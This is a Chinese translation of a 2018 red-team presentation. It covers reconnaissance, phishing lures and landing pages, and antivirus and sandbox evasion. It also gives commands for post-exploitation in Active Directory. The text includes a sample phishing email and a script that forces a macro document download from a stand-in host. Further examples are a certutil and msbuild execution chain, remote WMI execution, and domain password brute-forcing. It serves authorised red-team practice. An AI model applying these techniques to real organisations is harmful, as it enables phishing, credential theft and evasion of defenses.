一次红队之旅
译者:zzzhhh
作者:Charles F. Hamilton
0、记录
内容由《A-Journey-Into-a-RedTeam-2018.pdf》这篇PPT所翻译而来。
PPT讲解点如下:
- 0x1 红队测试的意义
- 0x2 识别目标
- 0x3 钓鱼式攻击
- 0x4 创建有效载荷
- 0x5 狩猎
- 0x6 工具和技巧
1、红队测试的意义
- 0x1 评估客户对威胁行为的反应能力
- 0x2 通过实现预演(访问CEO电子邮件、访问客户数据等)来评估客户网络的安全态势。
- 0x3 演示攻击者访问客户端资产的潜在路径
2、识别目标
假设主要攻击方向是钓鱼式攻击,那么需要做好以下几点准备:
-
创建目标列表
-
识别安全产品
-
选择钓鱼式攻击的主题
2.1 图片上的蛛丝马迹
Facebook提供的图片会有一些员工姓名信息
搜索与目标电子邮件地址相关的公开密码库、搜索github,pastebin等。如果攻击者足够幸运的话,甚至可以获取密码。OWA和Office 365都是很有价值的服务应用。
2.2 OWA的预置模式
- 泄漏的GAL:
https://your.target/owa/service.svc?action=GetPeopleFilters
- 没有MFA的情况下,暴力破解密码+读,写电子邮件。:
https://your.target/EWS/Exchange.asmx
注:MFA(Multi-factor authentication,多因素认证)
https://www.alibabacloud.com/help/zh/doc-detail/28635.htm?spm=a2c63.p38356.a3.3.9ce4491cl7YWpe
2.3 云端的Office365
- 读写电子邮件:
https://outlook.office365.com/api/v1.0/
- 暴力破解密码:
https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml
2.4 利用shadon
通过Shodan寻找受攻击目标公共IP范围的以下几类服务:
-
- Citrix portals
-
- OWA
-
- VPN
-
- 任何可以远程认证的服务
针对这些服务使用暴力破解,因为这些远程认证服务可能没有强制2FA认证。打个比方,至少有一个账户会存在“Summer2018”这个密码。
注: 2FA,2 Factor Authentication,双因子验证,是一种安全密码验证方式。
2.5 发送电子邮件到一个不存在的帐户,等待返回错误信息
通过错误邮件返回的邮件信息可以判断对方邮件服务器当前使用的安全软件,配置的安全策略等。
2.6 通过邮件搜索社交网站,比如LinkedIn
注:也可以是任意的社交招聘类网站平台
2.7 通过目标的企业网站获取网络钓鱼攻击的主题
通过以下两类事件指定网络钓鱼攻击的主题。
- 判断目标有忠诚度计划吗?
- 即将出现的特殊事件 ?
3、钓鱼式攻击
-
规则0x1:不要把恶意的有效Payload放入电子邮件
-
规则0x2:不要让自动化解决方案发觉到攻击者最后阶段的行为
-
规则0x3:使用分类域名
-
规则0x4:使用HTTPS
-
规则0x5:钓鱼主题-尽可能的无聊
-
规则0x6:避免使用拼写错误的域名
-
规则0x7:不要重复使用同样的域名
3.1 不要把恶意的Payload放入电子邮件
通常攻击者发送的钓鱼邮件中链接会指向攻击者自己控制的服务器,因为受到受到攻击的目标可能会有安全产品识别出攻击者的Payload追查攻击者的痕迹。
采用以上的方式如果Payload出了问题,攻击者可以立即改变Payload。
嗨,鲍伯,
我们目前正在更新我们的行为守则。
请尽快审查和接受。
行为准则可以在这里找到:
https://phishy.domain/company/code/a2ef362e-45d0-b21d-5abf-edce29d365cb
谢谢您,人力资源总监 查尔斯
Apache mod_rewrite规则可以生成具有唯一ID的公司URL
RewriteEngine On
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^(.*)$ index.php [L,QSA]
效果如下:
- 钓鱼URL:https://phishy.domain/company/code/a2ef362e-45d0-b21d-5abf-edce29d365cb/
- 实际访问:https://phishy.domain/company/index.php
注:给每一个测试的Payload一个标识便于区分被钓鱼的对象
3.2 不要让自动化解决方案发觉到攻击者最后阶段的行为
如Word doc, ClickOnce等,如何使用JavaScript生成有效载荷的最终链接呢?
让我们假设钓鱼网站上的HTML看起来是这样的:
<a href="https://phishy.domain/payload.docm">
download the code of conduct
</a>
自动化安全工具可以很容易处理HTML并调试Payload进行进一步的分析。
但是如果使用JavaScript生成最终的链接像下面这样:
<a id="download" href="#">
download the code of conduct
</a>
<script>
document.getElementById("download").onclick= function() {
document.location= "https://phish" + "y.domain/pay" + "load.docm";
};
document.getElementById("download").click();
</script>
以上例子href是立即访问的,点开页面访问会跳转到【https://phishy.domain/payload.docm】这个地址。
网络钓鱼成功率与用户体验有很大关系。强制用户点击click()下载文件,浏览器会提示下载窗口。
3.3 使用分类域名
在评估之前,简单地克隆一个合法网站。最好是安全产品已经分类好的信任域名。
#!/bin/bash
echo "Cloning $1"
wget $1 -O index.html &> /dev/null
TAG="<base href=\"$1\"/></head>"
sed '/<\/head>/i\'"$TAG" index.html | tee index.html &> /dev/null
echo "index.html was saved and modified"
注:代码内容为https://gist.github.com/Mr-Un1k0d3r/11bf902555d401c92c2e1b766275e6a2
搜索已被分类的过期域;这可能是有用的,也是最简单的分类域的方式。
CatMyFishV1.0-搜索已经分类可用的域名
https://github.com/Mr-Un1k0d3r/CatMyFish
3.4 使用HTTPS
使用免费的HTTPS证书,搭建网站。
优点就在于不必验证攻击者的身份,也可以达到混淆受害者判断力的目的。
3.5 钓鱼主题-尽可能的无聊
如果选用太好的钓鱼式题材,就不太可能像真的。
用无聊的钓鱼式主题,如:内部行为守则更新、强制骚扰在线课程、员工问卷调查等等,这些倾向类比较强的主题可以较少引起怀疑。
3.6 避免使用拼写错误的域名
northsex.io VS northsec.canadianevent.com
作为第三方服务公司的一部分,使用子域往往会提供更好的结果,因为人们现在每天都使用云服务。
前者的钓鱼域名就是将真正域名的northsec改变了一个字母以此来迷惑用户。
其实这个对于安全意识越来越高的现代人来说,很容易就对前者产生了怀疑。
但是现在的服务越来越多样化,很多公司都会有第三方服务,这些第三方服务通常会带上目标公司的域名做前缀。
3.7 不要重复使用同样的域名
因为攻击者永远不知道自己的Payload会在哪里运行起来(如virustotal等)。如果反复使用同一个域名,则可能泄漏其他客户端的信息。
4、创建有效载荷
避免检测的经典方法是在安全产品上执行不同的操作-安全产品通常通过一些指纹识别来防止恶意有效载荷的执行。
能够绕过所有安全层的攻击者将能够在目标系统上执行代码而不被检测到。
但是端点解决方案的方式是“沙盒”呢?
混淆与规避的定义 :
$a = 3; // 原始代码
$a = 1 + 2; // 混淆代码
if(context == “sandbox”) {
$a = 3;
} else { exit() }// 规避
流行的事物不一定是好事情,安全厂商通常会努力阻止最新的技巧,尤其是现在每个人都使用PowerShell。
- 规则0x1:不要直接运行PowerShell
为此作者写了一个工具:PowerLessShell,实现了不调用powershell.exe的情况下执行PowserShell命令;
https://github.com/Mr-Un1k0d3r/PowerLessShell
PowerLessShell依赖MsBuild.exe远程执行PowerShell脚本和命令而不生成PowerShell.exe。也可以使用相同的方法执行原始的ShellCode。
注:工具原理通过笔者分析实践,此工具生成的脚本必须要在管理员权限下运行。核心代码如下:
# 将PowerShell脚本转成了十六进制,利用Certutil自带转码功能恢复原样。再使用MsBuild.exe执行,使用完毕后清除生成的文件。
certutil -decodehex vpmMLfdAbV dWCBVaaSqezNvPbCKpFyJiwG && copy msbuild.exe QrjZkfusnfnbvOoGuqq.exe && QrjZkfusnfnbvOoGuqq.exe dWCBVaaSqezNvPbCKpFyJiwG && del QrjZkfusnfnbvOoGuqq.exe && del dWCBVaaSqezNvPbCKpFyJiwG && del vpmMLfdAbV
- 规则0x2:如果使用宏来执行命令,避免使用WScript.Shell 和 Shell(),因为大多数安全产品会跟踪WINWORD.EXE触发生成的子进程。目前最佳的方式是使用WMI来执行Payload;
https://github.com/Mr-Un1k0d3r/MaliciousMacroGenerator
注: 工具原理通过笔者分析,核心代码如下:
调用的函数名和对象名进行了字符混淆,使用Wmi调用cmd.exe再调用PowerShell执行命令。
如果计划使用已签名的Windows二进制文件,许多安全厂商将它们列入黑名单:
- regsvr32.exe
- msbuild.exe
…
以下工具可以修改二进制文件的HASH,同时保留微软的签名:
https://github.com/Mr-Un1k0d3r/Windows-SignedBinary
还可以尝试执行二进制文件重命名的击败某些产品:
C:\> copy powershell.exe tLclgEomOrR.exe
C:\> tLclgEomOrR.exe –exec bypass Get-Help
也可以用宏脚本实现以上功能:
o = CreateObject("Scripting.FileSystemObject")
o.CopyFile(source, destination)
- 规则0x3:添加检测环境代码,如果条件不匹配则不执行,以防止执行最后阶段。
例如:ClickOnce应用程序检查«iexplore»是否正在运行,因为需要Internet Explorer来下载ClickOnce。
If(Process.GetProcessByName("iexplore").Length > 0) {
// be evil
}
项目代码:https://github.com/Mr-Un1k0d3r/ClickOnceGenerator
-
规则0x4:有人可能已经写了一个工具来混淆Payload。
-
- SCT COM Scriptlet: https://github.com/Mr-Un1k0d3r/SCT-obfuscator
-
- EXE (shellcode): https://github.com/Mr-Un1k0d3r/UniByAv
-
- EXE (shellcode): https://github.com/Mr-Un1k0d3r/DKMC
-
- Base64 (PowerShell): https://github.com/Mr-Un1k0d3r/Base64-Obfuscator
沙箱解决方案的问题:它们可以指纹识别和预测
端点(工作站/服务器)和沙箱之间的差异:
-
- 内存大小(端点至少4 Gb)
-
- 磁盘大小(端点至少250gb)
-
- CPU数量(端点至少2个cpu)
-
- 正在运行的进程(如果攻击者是通过电子邮件发送样本,那么OUTLOOK.exe这个会显示正在运行的状态)
端点之间的差异(未完待续):
-
- 网络访问(沙箱有网络接入)
-
- 加入域(沙箱通常不加入到公司域)
-
- 时区(针对一家加拿大公司)
-
- 检测钩子(沙箱通常HOOK已知的api函数)
-
- 系统已经运行了多长时间
-
- 系统活动(剪贴板不为空,接收广播流量等)
-
- 和更多…(创新)
-
规则0x5:尽可能隐秘地连接到攻击者的C2
-
- "域前置"(Domain Fronting)
-
- "分类域名"(Categorized domains)
注:字面意思是分类过的域名,实际意思是指那些已经过期了但是仍然被安全厂商标记过的那些高信用域名。
举个例子 foo.com 之前被标记为论坛网站,信誉度是9,那么很多公司的web或者邮件安全网关就不会过滤或者拦截他,现在这个域名过期了且被黑客重新注册来做C2域名,这样就可以达到隐藏的目的了。
这里有些工具这可以找到类似的这些域名:
1)https://github.com/Mr-Un1k0d3r/CatMyFish
2)https://github.com/threatexpress/domainhunter
-
- 强制执行HTTPS
-
- 选择正确的协议:现在大多数RAT使用HTTP来混入“合法”的流量。
相关项目:https://github.com/Mr-Un1k0d3r/ThunderShell
基于HTTP协议的RAT支持HTTPS,在HTTPS之上使用RC4加密来击败端点网络检测。
没有第二阶段(DLL), PowerShell脚本会提供对所有基本功能的访问
请随意为这个项目做出贡献,大家可以尝试为这个项目添加更多的特性和一个WEB界面来管理会话。
选择合适的载荷:
宏:Office 2016默认禁用宏
HTA:因为流行,所以更容易被发现
ClickOnce:需要使用Internet Explorer
普通EXE:可能会被应用程序屏蔽。
避免直接运行PowerShell,因为它是现在很流行的方法:
宏-> WMI -> PowerShell VS 宏-> WMI -> PowerLessShell(MSBuild)
到这里,攻击者已经精心设计了网络钓鱼活动中需要的作战方案,Payload也将会是安全产品所信任的程序。
5、狩猎
假设攻击者已经有一个SHELL。那就需要抓住尽可能多的信息,以免丢失SHELL。
- username
- Email(枚举到的)
注意以下3点:
1.避免直接运行PowerShell
2.避免使用net * 家族命令
3.避免连接到所有系统。
解决方案
1.非托管的PowerShell + LDAP查询
2.CobaltStrike 内置“powerpick”命令
3.ThunderShell 默认支持
- Dump-UserEmail
https://github.com/Mr-Un1k0d3r/RedTeamPowershellScripts/blob/master/scripts/Utility.ps1
- 域密码破解
这并不一定是最隐秘的方法,从提取的用户列表暴力破解用户的密码。
"neo","morpheus" | Invoke-ADPasswordBruteForce -Password "password" -Domain MATRIX
这个cmdlet支持其他域,甚至可以对其他受信任域执行穷举破解。
穷举破解依赖于ValidateCredentials()方法,它很明显地连接到DC,特别是如果试图强制所有用户使用穷举破解时。
- 查找基于名称特定用户的SamAccountName
Search-FullNameToSamAccount -Filter Hamilton
- 搜索当前用户的计算机
这一项需要提升权限,搜索当前用户的计算机。
https://github.com/Mr-Un1k0d3r/RedTeamPowershellScripts/blob/master/scripts/Search-EventForUser.ps1
Search-EventForUser -TargetUser charles.hamilton -FindDC true
在DC的所有事件日志中搜索登录事件
- 获取浏览器书签以发现感兴趣的内部资产
https://github.com/Mr-Un1k0d3r/RedTeamPowershellScripts/blob/master/scripts/Get-IEBookmarks.ps1
Get-IEBookmarks
6、工具和技巧
WDIGEST没有返回任何内容,但是当前用户在另一个系统上具有本地管理权限。
- 使用Kerberos票据利用WMI远程连接
https://github.com/Mr-Un1k0d3r/RedTeamPowershellScripts/blob/master/scripts/Remote-WmiExecute.ps1
Remote-WmiExecute -ComputerName victim01 -Payload "cmd.exe /c whoami"
谈到Kerberos票据——为什么有时会拒绝访问?
http://technet.microsoft.com/en-us/library/cc772815(WS.10).aspx
可持续票据的客户端必须在到达结束时间之前将其发送给KDC进行续约。
如果使用WMI生成shell,则默认情况下不会将故障单发送到KDC。还将会更新进程,如explorer.exe是一个很好的目标可以将Payload注入并运行域查询。
然而,从OPSEC的角度来看,有一个缺点;Explorer.exe通常不建立网络连接。
更隐蔽的目标可能是:
svchost.exe
conhost.exe
- 活动目录(Active Directory)包含很多有价值的信息,如枚举用户的评论和描述可能会泄露密码和其他有趣的信息。
https://github.com/Mr-Un1k0d3r/RedTeamPowershellScripts/blob/master/scripts/Utility.ps1
Dump-Username -More
很多时候不需要“域管理员”权限来实现预定义的目标。 但是一个红队在时间和预算上都是有限的,为了完成任务目标不得不做出冒险的行为。
大多数Windows命令都可以通过PowerShell运行, 为了避免产生一个CMD.EXE实例,可以通过以下两类程序使用非托管PowerShell来运行命令:
-
- CobaltStrike powerpick
-
- PowerLessShell
高效的技巧
PowerView(https://github.com/PowerShellMafia/PowerSploit)有很多非常有用的命令。
Find-LocalAdminAccess: 查找主机具有本地管理员权限的用户。
Get-NetDomainTrust: 列出所有信任域
Get-NetForestTrust: Lists all forests
Invoke-ShareFinder: 列出所有共享
Get-NetLocalGroup: 列出本地管理组/用户组
即使攻击者试图尽可能隐蔽攻击手段,但也不可能因为红队的性质而毫无动静。当合适的时候攻击者可以调整工具和技术以保持尽可能的隐蔽。
一次好的网络钓鱼活动每次都会不同,而制作Payload是一门艺术需要一步步策划。
再次强调!!!
尽量避免直接运行PowerShell
7、参考
2018年红队之旅——介绍各种脚本的TIPS
https://ringzer0team.com/d/A-Journey-Into-a-RedTeam-2018.pdf
一次真正了解红队之旅-2018-【翻译】
http://www.coffeehb.cn/?id=102